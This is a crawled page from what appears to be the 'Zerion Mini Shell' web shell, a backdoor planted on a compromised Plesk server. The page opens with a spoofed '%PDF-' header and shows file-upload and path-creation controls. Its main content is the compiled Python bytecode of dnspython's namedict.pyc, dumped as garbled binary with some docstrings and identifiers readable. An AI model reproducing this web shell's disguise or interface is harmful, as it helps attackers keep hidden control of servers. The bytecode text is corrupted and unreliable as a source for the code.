%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/plesk/python/2.7/lib/python2.7/site-packages/dns/
Upload File :
Create Path :
Current File : //opt/plesk/python/2.7/lib/python2.7/site-packages/dns/namedict.pyc

�
�ac@sKdZddlZddlZddlmZdejfd��YZdS(sDNS name dictionaryi����Ni(txrangetNameDictcBsneZdZdddgZd�Zd�Zd�Zd�Zd�Zd	�Z	d
�Z
d�Zd�ZRS(
s�A dictionary whose keys are dns.name.Name objects.

    In addition to being like a regular Python dictionary, this
    dictionary can also get the deepest match for a given key.
    t	max_depthtmax_depth_itemst__storecOsKtt|�j�t�|_d|_d|_|jt||��dS(Ni(tsuperRt__init__tdictt_NameDict__storeRRtupdate(tselftargstkwargs((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/namedict.pyR,s
		cCs\t|�|jkr(|jd|_n0t|�|jkrXt|�|_d|_ndS(Ni(tlenRR(R
tkey((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/namedict.pyt__update_max_depth5s
cCs|j|S(N(R(R
R((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/namedict.pyt__getitem__<scCsBt|tjj�s$td��n||j|<|j|�dS(NsNameDict key must be a name(t
isinstancetdnstnametNamet
ValueErrorRt_NameDict__update_max_depth(R
Rtvalue((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/namedict.pyt__setitem__?s
cCsz|jj|�}t|�|jkr:|jd|_n|jdkrvd|_x!|jD]}|j|�q\WndS(Nii(RtpopR
RRR(R
RRtk((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/namedict.pyt__delitem__Es	cCs
t|j�S(N(titerR(R
((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/namedict.pyt__iter__NscCs
t|j�S(N(R
R(R
((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/namedict.pyt__len__QscCs
||jkS(N(R(R
R((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/namedict.pythas_keyTscCs�t|�}||jkr'|j}nxHt|d�D]6}tjj||�}||kr8|||fSq8W|tjj}tjj|fS(s�Find the deepest match to *fname* in the dictionary.

        The deepest match is the longest name in the dictionary which is
        a superdomain of *name*.  Note that *superdomain* includes matching
        *name* itself.

        *name*, a ``dns.name.Name``, the name to find.

        Returns a ``(key, value)`` where *key* is the deepest
        ``dns.name.Name``, and *value* is the value associated with *key*.
        i(R
RRRRRtempty(R
Rtdepthtitntv((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/namedict.pytget_deepest_matchWs
(
t__name__t
__module__t__doc__t	__slots__RRRRRRRRR%(((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/namedict.pyR#s										(R(tcollectionstdns.nameRt_compatRtMutableMappingR(((sA/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/namedict.pyt<module>s

Zerion Mini Shell 1.0